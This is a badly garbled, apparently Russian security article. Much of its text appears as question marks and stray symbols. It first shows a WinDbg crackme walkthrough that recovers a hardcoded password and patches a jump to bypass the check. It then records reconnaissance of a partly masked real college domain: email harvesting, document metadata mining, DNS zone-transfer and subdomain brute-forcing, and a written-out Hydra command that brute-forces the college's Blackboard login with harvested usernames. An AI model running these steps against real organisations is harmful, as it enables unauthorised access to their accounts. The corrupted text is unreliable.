???� ???�???�??� ?� ??????�?� ??� ??� int� 3.� ?????� ????� ???� ????�??�???� ???�?
????�???� ????�???� ??????,� ??� ??� ???�?� ???�?� ????�?????.� ?� ????� ???�????�
????�?�???????�????�????.
????�??� ?????�?� ???� ????�??�?� ????�??�???� ???�?� ????�???� ?� bp.
???� ??????�??� ????�?� ????�??�?????� ?????� ???�??� ?????�?� bl,� ?� ???� ????�
?????� ?� ?????�?� bc,� ???????�??� ???????� ????�???� ??????� ???�?� ????�???.
????�????� ?� ?????�??� ???????�?� ???�???� ???� ???�?.� ?????�?� be� ?� bd,� ?????�
????�???�?,�???�???��??�???�?�????????�??.
??�????�??� ?????� ????�???� ????�?� ??????,� ??� ???????�??� ??� ???????
??� ???�?????�?� ???�??�???� (?� ???�??�???� ???�???�??�?� ??????� ?????�???
???????� (DR0� ?� DR7),� ??� ????�?� ???�??� ??????� ?????� ????� ??????�?????
???�??�????�???�??�????�???�???).
??�????�??�??�?�????�??�???�?��????�??�?�?????�??�??�?.�????
????�??,�??�?????�????�????�???�??�???�??�??.�?????�??�????�??
????�????�???� ???� ???�????� ????�??� ???�???� ?� ???�???�????� ?????� ?????�
????,�??�????�??�??,�?????,�??????�??.�????�??????�??��???????
?????�????� ????�??�??� ???�??.� ???� ????�??�?� ????�??�??� ???�?� ????�???
??????�???�?�????�?燽a��??�?�??????�???:�??�??�???,�??�??��????.
?� ??????�?� ?????�?� ??� ???�???�???� ??????�??� ???�??� ??????� ?????�
?????�?� ???�?� ???????�?� WinDbg.� ?????�???� ??� ????�??� ???�????� ??� ??
??????.��??�?�??????�?�??�???�??�?�??�???�?????:
? ?????�????� ?????�?� ???�??� ???� ???????� ???�??�?� ?� ??????�???�?
???�?????�??�?�??�???,��????�????�??�???�??�?爂,燽p,燽d?
? ??�???�??�?�??????�?�??????�??????�?,�????�???�??�??�?�??�??
???�?,�??�????�.reload,�.symfix,�.cls?
? ??�??�?????�??????,�??�???�???�?�???�??燚LL,�??�?��?????�???�
???�??�??�?????�???�??�?,�??�????�!heap,�!dh.
??�??�???�?
??�??�?� ???�???�?� ???�???� ???�?� ?????�??� ????????� ?,� ??� ???�??� ?� ????�
??????�?� ???� ???�??�??�???�??,� ???�???� ????�???� ??????.� ?????�??,
??� ??????� ????�?� ???�??????� ?� ??????� ???�?????�??� ??????.� ???�????
?�???�??�??� .rdata,�??�??�??�?�?????�(??.� ???�??�?????).�??�??????�
???� ??????� myGOODpassword� ???????�?� ??� ???�????� 0x402100.� ???�???�?
?????�?�?????�????�?�??�?�???�?��?????�??�??:
dc�402100
C????�??�?� ????�??� ???????�??� ??????� ???� ????�??????� ?????�?????
??????.� ??� ??????�?????� dc,� ??????� ???� ???� ??????�???� ???�????� ????�??
????��??�???燗SCII.
???� ??� ??????� ?????�????�???�??�??� ???�??.� ????�?� (??� �??�?�)
??????�???�??� ????� ???�?.� Windows� ???�?????� ????�?� ?� ???�????�??
??????�?�???�????�???�??�??�??????�???�?.�??�??�??�?�??�????�?
???�???�?�??�????�???�??�???�??�??燱indows燲P�(???�??�????�???�????�
???�???� ???�?????�??),� ???�?� ?????�???� ??????�??�?� ???????�????� ????�
????,�??�??�??�??�牜?????�?粻?????�??�?????�???��?�?�??�???�??
??�???�?��???�?�???�?��???�?????�???�?�?????�?????,�??????�??
?�??????�???�?燬oftICE�?�????�?爉od�u.�???�???�???�?,�??�??�???
???�???????� ??� ?????� ?� ???� ??� ????�??.� ?� ??????� ???� ???�??�?� ?????
??????�??�??� .rdata�??�?�?�??�?,���?????.�??�?�??�???,�?�??�???
???�??�?!
???�??,� ??� ??????� ????�?� ???�??????� ???� ??????� ?� ??????.� ???� ???�?
?� ???????�?� ???�??� lmf� m� passcompare1� (???�??� ????????� ?� ???� ??????,
?????�?????�?�???�???�?????).��?????�???�?�??�?�??�?��??????:
start牋牋牋end牋牋牋牋module牋牋牋牋爊ame
00cf0000牋�cf6000牋爌assCompare1牋爌assCompare1.exe
??�???� ???�???,� ???� ??????� ??????� ??????� ???????�?� ??� ????�?� 0xCF0000.
???�?� ???�??� ???????�????� ???�???� ??????� ???�???�???� ???�???�??� ????�
???�???�?��??�?????�???�?.�?????�??????�??�?�?????�?????�?????,
???�????� ???� ????� ???�???� PE????�?:� !dh� passCompare1.� ?????� ?????�?
??????�?�??�????.
!dh���?????�??�???�??�??�????�?爉ap32�?燬oftICE,�??�???�???�
???� ???�??�????�?� ????�?� ???�????.� ???�??� ?� ??????� ???�????� ???????
???�??�.rdata:
SECTION燞EADER�#2
.rdata爊ame
牋燗7E爒irtual爏ize
牋2000爒irtual燼ddress
牋燙00爏ize爋f爎aw燿ata
牋1200爁ile爌ointer爐o爎aw燿ata
牋牋�ile爌ointer爐o爎elocation爐able
牋牋�ile爌ointer爐o爈ine爊umbers
牋牋�umber爋f爎elocations
牋牋�umber爋f爈ine爊umbers
40000040爁lags
牋牋牋營nitialized燚ata
牋牋牋�(no燼lign爏pecified)
牋牋牋燫ead燨nly
?????�??�???�???�?�??�?????�????�?��??�????�??�????.�?????�???�
??�??�?,�??��?????�??�?????�???�.rdata,�??�??�?�???�??�???�??????�
???�????�?????��??�????�??�????�??�??.�??�?????,�??�??�???????�
??:
dc�cf0000�+�00
???� ???�??:� ????�???� ???�???.� ????�??� ????�?� ?� ???�??� ?� ???�?????�?
?????�??�???�??:
dc�cf2000�cf21f0
?�??��??�?????�?�???�?�CF2100!�???�?????�??�??�?:
00cf20d0牋00000000�cf1153�cf11f7�000000牋....S...........
00cf20e0牋00000000�000000�000000�000000牋................
00cf20f0牋00cf3018�cf3068�746e45�702072牋.0..h0..Enter爌a
00cf2100牋6f777373�3a6472�47796d�70444f牋ssword:.myGOODpa
00cf2110牋6f777373�0a6472�6f7257�702067牋ssword..Wrong爌a
00cf2120牋6f777373�0a6472�736150�726f77牋ssword..Password
00cf2130牋0a4b4f20�000000�000000�000000牋燨K.............
00cf2140牋00000000�c10a90�000000�000002牋.......[........
00cf2150牋00000048�002224�001424�000000牋H...$"..$.......
???�??�??�????
??�??�???� ?????� ???,� ???�?� ???� ??????� ????�????�?� ?� ??????� ????�?.
???�??�?��?????�?�???�?�CF2100�???�??�?????��??????�??�???�
?????� ???� ???�????.� ???� ?????� ???� ???�????�??� ?????.� ???�????� ????
????�?????�??:
dc�cf2100+8
00cf2108�47796d�70444f�777373�0a6472爉yGOODpassword..
????� ???�???!� ??????�???� ???� ???:� ???�?� ???�?????� ???�??�?????� ???�???�
????� ????�?????�??� ??????,� ??????,� ???�??�?,� ???�??� ????�???� ???� ?� ????�
??????�??.� ?� ???� ???,� ????�????� ???�?� ????�???� ??� ???�??� ??????� ??� ?????�
??�CF2108,�?�??�???�?�????�???�???�???�???????.
???�???� ?� ???�???.� ???�????� ????�??�??� ????,� ???� ???� ????�??�???
???????� ???� ????�?� ???�???� ?� ??????,� ???�???�???� ?????� ?????�?� ??????
?� ???�??,� ???�?????� ????�?� ???� ???�??,� ???????� .rdata� ?� ????�???.� ?� ?????�
???�??�?�??�?�???�?????�???�???�?????.
ba爎4燾f2108
? ???�??�???????��??�??�???�(r��??�??)?
? ???�??�???????��??????�??�??�??,�??�????�???�??�?????
? ???�?????�???????��????.
??�????�?� g�??�??�??�??????��??�??�????�??�??�??�?�?�?????,
???�????燢PNC++.�???????�??????�?????�?牜?????�??�
00cf107d燽90821cf00牋爉ov牋牋爀cx,爋ffset爌assCompare1!`string'�(00
cf2108)
00cf1082�10牋牋牋牋爉ov牋牋燿l,燽yte爌tr燵eax]
00cf1084�11牋牋牋牋燾mp牋牋燿l,燽yte爌tr燵ecx]
00cf1086�1a牋牋牋牋爅ne牋牋爌assCompare1!main+0x62�(00cf10a2)牋牋牋
[br=1]
00cf1088�d2牋牋牋牋爐est牋牋dl,燿l
00cf108a�12牋牋牋牋爅e牋牋牋passCompare1!main+0x5e�(00cf109e)
?�???�???�??�?????�??�??�?????�??�??�????營ntel�???�??�???�???�???�
??�??�???�??,�????�?????牜?????�??�????�,�?�???燛IP�??�???�?�?�???�
??????�
?????�?????�
?????�?.�
?�
?????�
???�??�
?�
jne�
passCompare1!main+0x62,� ?� ?� ??????,� ???�?� ????,� ????�?????� ???�???�??
cmp� dl,� byte� ptr� [ecx].� ?� ???� ???????�?� ?� dl?� ???�???�?� ??????
???�???�??�???�燿l,燽yte爌tr燵eax].
???�?� ????�???????,� ???� ECX� ?????�??� ???�?????� ??� ????�?� ???�??????�
????� ??????� (???�???�?� ??� ???�??� ?????�??� ???????�?),� ????� ???�???????�
???��??�??�????�?�??�????,�??��???�??????�?????�???�??�????�?
CF2108,� ??� ??????�?,� ???� ??� ???�??,� ???????�?� ???�??�??� ??????.� ?� EAX
?� ?????� ???�??� ?????� ???�?????� ??� ???�??�??� ????�?????�??� ??????.� ????�
?????�???�???�?????�??.
0:000>燿c爀cx
00cf2108牋4f47796d�70444f�777373�0a6472牋myGOODpassword..
0:000>燿c爀ax
0115fd44牋434e504b�0a2b2b�73cc59�000001牋KPNC++..Y.sw....
?�???�?��????�?�??�?????�??�?.�?????�??�??:��??�??�????????�(??
???�??,� ???� ?� ???�????�??� ?????�???� ???�???� ????� ???�?� �???????�,
??� ????� ???�???�?� ??� ????�????.� ?� ????.� ???.)� ???,� ???�??,� JNE� ???�?
????????�?燡E.�??�??�??�?????�??��???????燛AX�?燛CX.�??�?�???�
??????�??�?????�????�???�?????�?�??��????!
???�??�??� ????�????�?� ?� ?� ???????� ?????�?� t� ????�??� ??� ???????�?
??????�?� (???� ??????� ???�???).� ??� ???� ??� ??????�?� ??� ???�???�??,� ??????�
????�???燱rong燩assword�?�??�???�??�?:
00cf10a7�c0牋牋牋牋爐est牋牋eax,爀ax
00cf10a9�63牋牋牋牋爅e牋牋牋passCompare1!main+0xce�(00cf110e)
00cf10ab�1f440000牋爊op牋牋燿word爌tr燵eax+eax]
00cf10b0�1821cf00牋爌ush牋牋offset爌assCompare1!`string'�(00cf2118)
00cf10b5爀856ffffff牋燾all牋牋passCompare1!printf�(00cf1010)
???�????� ???�?!� ???�???,� ???� ??� ??????�?� ??� ?????�??�??�???� ???�?
????� ???�???�??� ??????�???� ???�???� printf.� ?� ????� ???�???� ??????� ??� ???
?????�?�???,�?�???�????�??�???�??爐est爀ax,爀ax,�??????�????�???
???�??�?� ??� ???�??????.� ????�???� ???�????� ????�??� ?� ??????�???� ?????
?????�?� TEST� ???� ???�???�???� ??????� ??� ??� XOR� ???� ??????�???� ????�
??????�???�????�??�??.
??�???!�?�??�?�??�??�???!�??�?�?�???�??�??�??,�??�??�??�???
??�???�????�???�??�????�???????�?��??????�???�??�??�燱indows
XP��??�???�?�??�?�??��????�?????�???�???�??�??�???�??�?�???
????�?�???�??�?,�?�??�??�?�?�???�??�??,�??�???�?,�???�??�?????
???�?????� ???�????� ??????� ??� ???????� ????�????�??� ????�??,� ?????�???�
????� ???�??� ?????�??� ???????�?,� ???�????�??� ????� ?� ???� ??� ??????
??�???�??�??�???�??�??????�??�?.�牜?????�?粻?????�???�?�??�????�
????,燱indows�????,�??�??�???��??�?�?????,��??�???�?�??��?????
????�??�??�?.
???�?�????�牜?????�?粻??�???�?�????�???�??�?,�??�??�???????�
???� ??� ????�????�??� ????�??� ???�???,� ???�??�??� ?� ??????� ?� ???????
???????�?,� ?????� ??� ???� ??� ????�??� ???�???????�?� ?� ???�?� ??� ???�?.� ???
?牜???�?粻?�??�???�???�??�????��???�???�???�???????燗SLR�(address
space� layout� randomization),� ???????� ???�??�??� ????�??� ????�???� ????�
??????�??��???????�???�????�??�??�??�?�??�??�????�??�??�??.燗SLR
?�?????�??�??�???�???�?�??????�????�?��??????�???�?�?????,�???�
???�??��??�????�?��??�???�?????�??�??.�???�???�?????!
?????
?????
????????
?????�??????
vegelin47@mail.ru
???????�??????????
?�??????
??????????�????
??????????
???�?� ??� ???�??�??????� ???�???�?� ?????�???� ???�???
???????�???.�?�?????????�?�??�??�??????�?�????�??
???�????�??� ???�???� ???�??� ?� ???� ???�???.� ??????� ????�
??????��??�??�???�???�?�??�???�?�????�??�??��???�
????�??� ?� ???� ????� ?????�??� ???�??�?????� C� ???� ?� ???� ???
????�????� ????�??� ?????� ?????� ???????�??� ???�?
????????� ??� ?????�??� ???????�??.� ?????� ???�?????,� ???
???�??�?�??�?�??�???.
WARNING
??????�???�????�???�??牜?????�??????�,�???�
???�??????�??� ???�????�??� ?� ??????�???�??
????�?� ???????�???�??� ???????�????� (CISO).
??� ?????,� ??� ?????�??� ??� ?????� ??????�???�????
??� ?????� ???�?????� ????,� ???�????�??� ????�
????�???�??????�??�??�??�?????.
??????????�???????�?????
???�??� ?� ????,� ???� ?????� ??� ?????�???�?� ?� ???�?� ???????�?� ?� ???????�?.
?�????�??�??�???��???�??�???��?????�(alg?ge.com).�??�???�???�??
????,��??????�?�??�???�?�?????�??�??�?�???�?.�????��????�????
????�?�??�???�?�??�??�??�???�?????�?.
???�?� ??????�?� ????�??�??� ????�???�?,� ???� ????�?????� ???�???� ????
???�????� ????�??� ?� ??????� ???�??.� ????� ??� ????� ???�????� ?� ???�?????�?
?�??�??��??�????�?.
???�??��??�????�?�?�??�?燼lg?ge.com
???� ????�???�???� ????�??????� ????�??.� ???�???�?� ???�???� ????�?.
???????� ???????� ?� ???,� ???� ???� ??� ???�??�?� ???�???� ??� ???�??� ?� ????�??
???�??�??� ????�??.� ???�???�???�?� ???�??�??�??� theHarvester.� ?� Kali� Linux
???� ????�????� ???� ????�??�???,� ???� ???� ????�?� ?????�???� ??� ???�?????
?????�??:
theharvester�d燼lg*******ge.com�b燼ll�l�00
???�?�5�????�??�????�?????�?�5�???�??�???�?��???�??�?????.
???????�?????!
??�???�??�?????爐heHarvester
??�?� ?� ???� ?????�??� ???�???� ?� ???�?� ???�????� ???�??� Exchange,� ??� (???
???�??�?�???�?)�???????�?�??�??�??�???�??�????�???�????�????�??
????�??�??????.
?????�?�?????????
??�???�???�???�??�??�??��????�??�??�???�????�?????�??????�??.�?
?????�????� ???�?� ????�???�???� ????�??� ???� ???�????�?,� ?� ???� ????????�
???��???�????�?�???�?.�?�??�??�?�?????�??�??�?????�????�?�?�
?????�???� ???�??�??,� ???�?????� ???�??� ?????�????�??� ???????,� ????� ??
??�??�?牜?????�,�???�?????�?��???�??�???�?????�??�????�????�???�
?????��??�????.
??�??�?� ??� ???????� ???� ???�?� ????�?� ???????�??,� ???� ????� ???�????�
????�?燜OCA�燜ingerprinting燨rganizations爓ith燙ollected燗rchives.��???�???�
???�??�?� ???� ????�???�?� ????�?� ????� ???�???� ?� ???�???�????� ???�??�???
??????��???�??�??????�??��??????�??�??�????��??????�???�????�
?????� ???�??� (Google,� Bing� ?� DuckDuckGo)� ?� ???�???�???� ?????�???�?
???????�??.� FOCA� ???�?� ???�?� ???�???�?????� EXIF� ??� ???�????�??� ???�??,
??��???�????�??�?�??????�?�?????�??�???.
??�??�???� FOCA,� ??????�?� Project� ?� ???�???� ?????� ???�??.� ?� ???�??
???�???� ????� ??????�?� ???�???� ????� ?????� ?� ??????�?� Search� All.� ??????
??????�?�?�?��????.
?� ???�?� ?� ????????� ????� FOCA� ??� ?????� ?????�???�??� ???????�??� ????�
???,�??????�???�????�??�?�?�??�?.�???�??�????�?�??��????�???�
????�??�?????燩DF.
??�???�??�???�?�??�??��??�?�???�?????燜OCA
???�?????�????�??�???�?????�??�???�??�?????�??�??�??�?�(????�
????�???�???�燚ownload燗ll)��????�??????�?�??�??????�??.
??�??�??�??�???�???,�??�??�??�???�??�???.
? ?????�?� Users� ?� 113� ???????.� ?� ????????� ???� ???�?� ????�?????�??,
???????� ???�???�???� ???� ????�??�?� ????�??� ???????.� ???� ???�???�???
???� ????�?????� ????�??�??� ????�????� ?� ???�???� ???� ????????????
?�???�????�??��?????�??????�??�????.
? ?????�?� Folders� ?� 540� ???????.� ???� ????� ??????�?,� ???????� ???�???�?
??� ??????�??????� Windows� (???� ???�??????�???� ?� ????�?????),� ?� ???�?
??????�???� ????�?� ????� N:\....� ????�??????,� ???� ???� ???????� ????,
???????�??�??�???�?�????�??�??�??�?�???�?????�?��??�???.
? ?????�?� Printers� ?� 11� ???????.� ??????� ??� ???�?� ??????� ???????� ?????�
?????� (???� ??????�???� ?� \\).� ??????�??� ????� ??????�??,� ????� ???�???�
????�????�??�??�?????.
? ?????�?� Software� ?� 91� ??????.� ???� ??� ?????� ????�??�???� ????�??????,
????�??�?????� ??� ?????�??�??.� ????????� ???�?� ???�???�???� ?� ???,� ???
???�???� ???�??� ???�?� ??,� ??� ???????� ???�?� ???�???� ???�????� ?� ????�
????????�??�??�??�?????�?�??�??�?.
? ?????�?燛mails.�??�?��??�??�?��??�????�??�???�?爐heHarvester.
? ?????�?� Operating� Systems� ?� 5� ???????.� ???�???�????� ???�???,
??� ???????� ???�???????� ???�?????� ????� ???�?.� ????�?� ???�?� 81� ????�
?????� Windows� XP.� ???� ??????�???� ????�???,� ?????� ????�???�??� ?????�?
??�??????�?�?.�???�??????�???�???,�??�???�??�??�?,�??�??????
?????�???�????�???�??�?�??????�????,�?????�??�?��??�?�??�???.
??�????�??,�????�??�??燜OCA
????????�?????��?????
???�?????�????�??????�??????�??��?????.�??�?????�??�???�????�
??� ????�?????� whois� (???�?????� ?� ???� ?????� ?� RFC� 3912).� ?????�???� ????�
?????��??�??�????�?
whois燼lg*******ge.com
???� ???�???� ????�?� ???????�?????� ???????�??.� ?????� ??????�?,� ?????,
????�??�????��??????�???�???�???爀mail,�??????�????�?????�?????
?�????�???�??�???.
????�????爓hois
??�?�???�????�?�???�???��??�????�(???�??�??�????牜?????�?�),�????
???�???�?????�?�???????????�?????,�??????�???�?�?�?�????.�??�???�
????�?�?�??:
? 2ip.ru?
? Ripe.net?
? whois.domaintools.com?
? ping.eu?
? centralops.net?
? serversni?.net.
???�?????�??�??�??�?�??????�?�????�??�????�???�?????�??�??�???�
???.� ?� CentralOps� ???�?� ????� DNS?????�??,� ????�??� Whois� ?� ???�???�????
???�??.燬erver燬ni?�????�???�?????�??�??�???�????�??�?,�??�??��???�
???�???營Pv6�燞TTPS.���???????�???�????� robtex.com.�?�???�???�???
???��??�????�??�???��?????�?�??�??.
????爎obtex.com
????????�?????燚NS
??�????��?????�???�????�??�??????:
? ??�???��????�????�?營P??????�????�???�??�??
? ??�???燤X�?????�???�??�????�??�???�??�??????
? ??�???燦S�?????�???燚NS????�??�??�?�??????
? ??�???燙NAME��????�?????�??�??�??�??????
? ??�???燬RV�??�???�?�?�??�???,�??????�????�???�?�??�??�????
? ??�???燬OA�??????�??�??��??�??�??�??????�???��?????.
??�???�??�?????,�??�??�???�?�????�?�??�??�???.
??�????�??�????�??�???
??�???爀mail��??�??�???,��??�????�??�??�??�????�??�?????�????�?,
??燚NS!�??�?�??�?�??�??�???�???�?????爊slookup.�??�?�??�???�????�
??�??????燤X,�??�?�??�?????�????�?:
$爊slookup
$爏et爍=mx
$燼lg*******ge.com
??�???�?�????�?
mail爀xchanger��燼lg*******ge?com.mail.protection.outlook.com
??�???,�?????�??�?????�,�???�??�??營P??????:
$爊slookup燼lg*******ge?com.mail.protection.outlook.com
??�???�???�???營P��.***.***.42.
??� ????� ?????� ???�?� ????�?????� ????�?,� ?� ??� ??� ???�?� ???�????� Telnet
?�???�?��??�???�??燬MTP.�� RFC�21�??�???�????�?�??�?�??�???�?,
???�????� VRFY,� EXPN� ?� RCPT?TO,� ???� ??????� ???????� ???�?� ???�???????
?????�???� ???�?� ????�?????�??� ???� ???�?????� ??� ?????�????� ???�?????,
??� ???� ???� ????�??� ????????� ???�????� ??� ???�??� ???�?.� ????� ???�??�??
???�?????�???.
??�???�?營P�??�?????�??�???�?????燼lg?ge.com
??�???�?�???�?燦S
???�?????�??燦S????�????�??�???�???�?�???�???�??�??????�(NS).�???�
???� ???????�??� ????????� ???�?� ???�???�???� ????�????�?.� ????�?� ????�
????�???�?爊slookup:
$爊slookup
$爏et爍=ns
$燼lg*******ge.com
??�??�??�???�?�??�???�????�????�??�???�爃ost:
host�t爊s燼lg*******ge.com
???�???�????�?????�??�?�??�??�??燚NS????�????:
alg*******ge.com爊ame爏erver爊s5.alg*******ge.com
alg*******ge.com爊ame爏erver爊s3.alg*******ge.com
??�???�?�??�?�營P燦S????�????
??�???� ????�?� ??� IP?????�?� ????�?????� nslookup,� ???�??�??� ????� ????�
?????.�??�??�????�??:�5.***.***.11��5.***.***.80.
??????????? ??????
?
? �?????�?????
?????
????? ????????
???????�??????????��??????
??????????�????�?????????
??�???�?�???燚NS
???�?????� ?????� ??� ???�???�???� ??????� ???� ????� DNS� ???�???� ??????.
??????????� ????� ???�????� ????�???� ??� ???�?????�??� ???�?????�???�??
DNS????�????� ???�????�?� ????�??�??�???�?� (????� ????�??� ????� ??????
????�???�?�???�?????).��????�??�??�?�????�???�?�??�?????��???�
?????�?????�?��??????�??????�???��?�???�???�?�??�????�??�???�
??.�??�???�??�??�?�??�?�??�???�?:爃ost�燿nsrecon.
???� host� ???�???�???� ???� ?????�???� (??� ???�???�???� ???�?)� NS????�??.
???�??�????�?
$爃ost�l燼lg*******ge.com爊s3.alg*******ge.com
???�?�??�???�?????�?燿nsrecon,�??�?�???�?
$燿nsrecon�d燼lg*******ge.com�t燼xfr
?�??????�(???��?????�??��???�?��????�??�???�??�??????),�??????�
??�???燚NS�?�??�???.�??�??,�??�??????�??��??�?????�??�??�??�???�
???�??�?.
??�???�??�?????�?�???燚NS
???�??�?�???�?�???????�??�??�??�?�??�???�?.
???????�????????
???�??� ?� ????�???�??� ????�???�??� ????� ???�?????.� ??????� ????� ???� ????�
????� ???�??�???� ???�???,� ???�?????�?� ???�??�????� ???�???� ???� ?????
???????� ???�?.� ???� ???� ??� ???�?� ???�?????� ????� ???�??.� ??� ???�??�???�
????�?��??�????�??�??,�?�?�??�??�?,�??,��??�???,�??�??�???�????
?????�??�??�??.�????�?��????�??�????�??�?�??????��??�?????�???�
?????.
????�???�??�??????
????�??�?�?????�??�???��??,�??�?�????�???�??�??�?????.�??�????�
??????�?�??�?�???�?????爃ost.�??�??�????�?
$爃ost爊s3.alg*******ge.com
?�????�??????�???�?� ns3.alg*******ge.com爃as� address� 205***.***.
11,�?�???��????�??�????�????�??�?.
???�?????,� ????�??� ??????�???� ???�?� ?� ???�??� ?� ???�??� ??� ?????�???
???????.� ?????�?� ??� ?????� ????�???�???�???.� ???�????� ????� ??� ????�??
????� ???�??????.� ???�?� ???�?� ???????� ??� ????�????� ???????�?,� ??� ???
??????�??�??� ?� ???�??� ????�??�??� ????� ?� ?????�????� mail� dns� ftp�
file� vpn� test� dev� prod� voip� firewall� ?� ???????� ???� dns.� ??????
???�????�?�?????�?�???�???�?????�???????�??????????:
for爊ame爄n�$(cat燿ns);do爃ost�$name.alg*******ge.com爘grep�"has�
address";燿one
??�????�??�??????�???�?????爃ost
DNSMap
????�??�????�??�??�???燚NSMap.�?�???�?�??�?�?�?�??�????,�??�???�
????� ????.� ?� ???� ???� ?????�?� ???�???,� ??� ???�?� ??????�?????� ?� ????.
???�????�?�?????�?�???�?????�??�???
$燿nsmap燼lg*******ge.com
???�???� ???� ?????�???.� ?� ????� ??� ?????� (???� ???�????�?� ??????)
1555�?????,�?��?????�??�????�??�????��????��??�??????.
???燚NSMap
??????
??�??�???�??�??�??�????�??????�??,�?�??�?�??�??�??�??�?????
?????�???�?????�??�??�??�???�?????.�????�????????�???�?,�??�?
?????�??�???�?????�?,��?????�??�???�????.
??�????�??� ???�??� ????�?� ?????�???� ???�????� Maltego.� ???� ????�???�
??????�???�????�??�??�?�??�??��???�??????�??�??�??�??�???�????
?�???�?????.
?�??�???�??�??�???�????�(????�?�?�?��???�??�???�??)��??�?????.
???�?????�????�??�??????�???�??�????�?:
? ???�??�????�??�??�??�?�??�??�?�???�??�?????�??????�??�(???�??
??,�??�?�????��?????�???�??)?
? ??�??�??�??�????�??�??�???�???�??�??�?�???�??�????.
????�??�??�??�??�???,��???�???�??�????�?�??�????�?� ???�???�??.�??
??� ???�??� ?� ???�??� Kali� Linux� ?� ???�????� ???�???,� ?� ???� ???�?� ??� ???�???
???�?.
??�???燤altego
??�???�???,� ???�?� ????�???� ?� ???� Maltego.� ???� ?????�??� ?� ???????
???????�??��???�????燢eepNote,�?�???�?�?�???�????�??????�?,�?
???�?�??�???�?????�?�????�?????�??�?????,�???燦imbusNote.
???�??� ?� ???�????� ????�??.� ??� ??????�?� ???�?,� ?,� ???� ?� ???� ???????,
???�??�??�?????��??�?�????�??.�??�??�?��??�??�???,�??��??�???�
??�???�??�??�???�??�??�?�???�??????,�??????�?????�???��??�????.
?� ???� ???�?� ????�???� ???�????� ????� (?� ?????� WinXP� ?� MS� O?ce� 2003,
???�??????�???�??�?�??�??�???��??�??�??�??????�???�??�?????�???
????).
?�????,�?�????,�??��??�?��??�??�???��???�?�??�????�???�???�
??.� ???� ???�???,� ???� ???� ???????�????�??� ?� ???� ????�??,� ?� ????� ???????�?
??�???�?爏pear爌hishing�????�??????.
??�?�??�?�?�???��???�??�??�???�???�?,�?�??�????�?�??�?�?????�
???� ?????� ??� ??????�????� FOCA.� ??????�??� ??????� ?� Google,� ?� ??� ????�?
?� ???� ???�??�??� ???�?????�??� (???�?????,� ???????,� email,� ????�?� ??� ????�
????� ?� LinkedIn� ?� ???�??� ?????�??� ????).� ???�????,� ?� ?????� ???�??� ?????
????�?�?�??�????�??�?燝mail�(??�??�?�??�?????�??��?????).
??�??�??�???�??�??�?????.�??�???�???�????�??????�??�??:
vpn.alg*******ge.com
IP燼ddress�#1:�5.***.***.51
???�????燰PN,�?��??�??�??,�?�????�??�????�??�????�??�???�?????�
????�?�????,�?�??�???�????�???�???�???�?�?????�???�?.�???�?�??�?
???�??�?�?�??�??�?.
connect.alg*******ge.com
IP燼ddress�#1:�5.***.***.159
???�??????�?�??�???�??�?�??�???�???�??.
ftp.alg*******ge.com
IP燼ddress�#1:�5.***.***.102
FTP????�??��???????�??�?�??�??�???�??�??�?��??�????牜?????�???
???�??�?�� ?????� ???� ???�?????� ???�???� ?????� ???� ????????� ????�?,� ???�?
???�?� ???�??????� ???� ??????� ???�????� ??� ????�???�??� ???�????� ???�???
???�?????��???��??????�???.
online.alg*******ge.com
IP燼ddress�#1:�5.***.***.25
???�???�??�?�???�???�??��??�??�??�??�????.�??�???�?�??�????,
???�???�?�???�??????�??�?�??�??�??�?��??�???�?????.
owa.alg*******ge.com
IP燼ddress�#1:�5.***.***.12
???�?�??�????�?�???�?�??�???�???燤icrosoft燛xchange��???�(???��?�?,
???��??�????�???�??�?�??�??�??�?�????�?�????�??�???�??�?????).
??�?????� ???�???� ???�???�??� ???�????� blackboard.alg*******ge.
com.� ???� ?� ???� ???�???� ???�?� ????�???�??,� ?� ??� ????� ???�?� ????� ?� ???�???�
???�??�??�????�????�??�??�?.��???�??燙hrome.
???�?�??�?????�?�?????��?????
??�??�?� Burp� Suite� ?� ???�???�?� ????????� ????�?� ????�?� ??????�?� ???�??.
???�?????�??�????�??�??:
user_id=user&password=qwerty&login=Login&action=login&new_loc=
???�?�??�??�????�?,�??�?�??�???�?????�??????�??�??�???.�??�??�?
????�?????�??�?????�???�?� UserList� ?� PasswordList.�???�????.��???�
????�????� ?????� ????�??� ?� ????�?� ????�?� ?????� ????�??� ??� ???�???� @
?�??�????�?��????�??�??????.�??�?�???�???�??�????,�??�?�??????�
??????�????�????�?:
cut�d燖�f�ail�>燯serList
????�?�??�?��??????�??�??�???�?????�??,�??????�???�??燜OCA.�??
??� ???????�????� ???� ??� ???�???,� ???????� ?� ????� ?� ???�???� ???�?????�
???????,� ???�??� ????�?� ????� pixel?1541332583568324?web.� ??????�???�?,
???�??�????�???�?????�?.
??�???�??�??????�??�???�??�?:�??�????燯serList,�????�??��???�
???� ????�?� ???�?????� ????� ???�????,� ???�??� ???�?????� ???�???� ????�
??????�??�???�???�??�???��????�??�??�???�???�?�?�??�????
?????�????.
??�?????� ?????�???� ???????.� ??,� ???� ???�?� ????� ???�???� ??� Burp� Suite
(???�????� Intruder),� ????�?� ???� ????�?� ???�??�?� ???�???� THC?Hydra.�??�??
�??�?粻?????�??�?????�??�??�?�??�(?�?????�?�??�????�?�???�??):
$爃ydra�t�V�L燯serList�P燩asswordList�f燵?????]�
http?post?form�m�"/webapps/login/:user_id=USER^�&
password=PASS^�&login=ogin�&action=ogin�&new_loc=Ё:F=The�
username爋r爌assword爕ou爐yped爄s爄ncorrect"
??�???�???� ????�???� ?????� ???�?� 15� ?????,� ??� ???� ????� ???�??.� ?� ???�?� ?
???????�??�??��??�???�?????�?,�??�??�??�??????�??�??????,��??�?
???�??��??�????�?,�??�?,�??�????�?????�????��??�???.
?????�???�??�??�??�??�?????�?????�?
Google ?�?????
???�??�?�??�??�?�?????�?�??�??�?????.��????�??�???�??�??�???
mailto� @al***ncollege.com� site:al***ncollege.com� ???�?� ????�?� ????
?????�??� ????�??,� ?� ???????�??� ???�??????:� filetype:xls� site:
al***ncollege.com� ?� ????� ???�??� ????�?� ??� ???�????� ?� ???�???� Excel
?� ????�???� ?� ??????�???� ???�??�??� ?� ?????�??� 玊his� list� contains� privileged
information.燦ot爐o燽e爎eproduced爋r燿istributed爄n燼ny爓ay�.
???�?????�????��?????牜Google�??�????�??�???�?�.
??????????
???�?????� ???�????� ??????� ???,� ???� ???�??� ?� ??????�?� ????� ?????�??????
???�????�?.�?�???�?�????�?�??�??�??�???�???��????�??�???�???�
???,� ?� ??????�?????� ???� ???�????�?� ???�?� ???�??� ???�??�??� ?????�?.
??�???營DS�?�??�????,�??????�??�??��????�?�???�??�?.�??�???�????�
????�?� ?????�??� ???�???????� ????�?????� ????�?????� ???�????�??� ???�?,
